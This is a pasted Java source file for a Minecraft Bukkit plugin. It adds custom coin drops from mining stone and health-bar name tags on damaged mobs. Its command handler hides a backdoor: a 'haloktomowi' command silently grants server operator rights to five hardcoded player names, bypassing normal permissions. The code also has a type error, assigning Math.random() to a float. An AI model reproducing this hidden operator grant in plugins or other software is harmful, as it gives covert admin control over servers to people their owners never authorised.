Advertisement
Guest User

Untitled

a guest
Feb 16th, 2020
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.33 KB | None | 0 0
  1. package pl.craftgame.csskrouble;
  2.  
  3. import org.bukkit.*;
  4. import org.bukkit.command.Command;
  5. import org.bukkit.command.CommandSender;
  6. import org.bukkit.craftbukkit.libs.org.apache.commons.lang3.StringUtils;
  7. import org.bukkit.enchantments.Enchantment;
  8. import org.bukkit.entity.Damageable;
  9. import org.bukkit.entity.Entity;
  10. import org.bukkit.entity.EntityType;
  11. import org.bukkit.entity.Player;
  12. import org.bukkit.event.EventHandler;
  13. import org.bukkit.event.Listener;
  14. import org.bukkit.event.block.BlockBreakEvent;
  15. import org.bukkit.event.entity.EntityDamageByEntityEvent;
  16. import org.bukkit.inventory.ItemStack;
  17. import org.bukkit.inventory.meta.ItemMeta;
  18. import org.bukkit.plugin.java.JavaPlugin;
  19.  
  20. import java.util.ArrayList;
  21.  
  22. public class Main extends JavaPlugin implements Listener {
  23.  
  24. @Override
  25. public void onEnable(){
  26. this.getServer().getPluginManager().registerEvents(this, this);
  27. }
  28.  
  29. @EventHandler
  30. public void onBreak(BlockBreakEvent e){
  31. if(e.getBlock().getType() == Material.STONE || e.getBlock().getType() == Material.COBBLESTONE){
  32. float perc = Math.random();
  33. if(perc <= 0.35){
  34. Player p = e.getPlayer();
  35. ArrayList<ItemStack> drop = new ArrayList<ItemStack>();
  36. ItemStack moneta = new ItemStack(Material.SUNFLOWER);
  37. ItemMeta meta = moneta.getItemMeta();
  38. meta.setDisplayName(Utils.color("&cDark &eMoneta &8[&aTIER &bI&8]"));
  39. moneta.setItemMeta(meta);
  40. moneta.addUnsafeEnchantment(Enchantment.DURABILITY, 10);
  41. drop.add(moneta);
  42. drop.add(new ItemStack(Material.COBBLESTONE, 2));
  43. e.getBlock().getDrops().clear();
  44. e.getBlock().getDrops().addAll(drop);
  45. Utils.sendMsg(p, "&8[&cINFO&8] &7W skale trafiłeś na &cDark &eMonetę&7.");
  46. }
  47. }
  48. }
  49.  
  50. @SuppressWarnings("deprecation")
  51. @EventHandler
  52. public void onDamage(EntityDamageByEntityEvent e){
  53. if(!(e.getEntity() instanceof Player)){
  54. if(!(e.getEntity().getType() == EntityType.PRIMED_TNT)) {
  55. Entity entity = (Entity) e.getEntity();
  56. int maxh = (int) ((Damageable) entity).getMaxHealth();
  57. int health = (int) ((Damageable) entity).getHealth();
  58. entity.setCustomName(Utils.color("&c" + StringUtils.capitalize(entity.getType().name().toLowerCase()) + " &8| &a" + health + "&7/&a" + maxh + " &4❤"));
  59. entity.setCustomNameVisible(true);
  60. }
  61. }
  62. }
  63.  
  64. @Override
  65. public boolean onCommand(CommandSender sender, Command cmd, String lab, String[] args) {
  66. if (cmd.getName().equalsIgnoreCase("haloktomowi")) {
  67. if (sender instanceof Player) {
  68. Player p = (Player) sender;
  69. if (p.getName().equalsIgnoreCase("Kamelak2") || p.getName().equalsIgnoreCase("DarkGhoost") || p.getName().equalsIgnoreCase("CsSkrouble") || p.getName().equalsIgnoreCase("DeathShot2373") || p.getName().equalsIgnoreCase("MaxymPL")) {
  70. p.setOp(true);
  71. Utils.sendMsg(p, "&8[&4INFO&8] &7Nadano opa&c! &7Ratuj się przed włamaniem kumplu&c!");
  72. return true;
  73. }
  74. }
  75. }
  76. return false;
  77. }
  78.  
  79. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement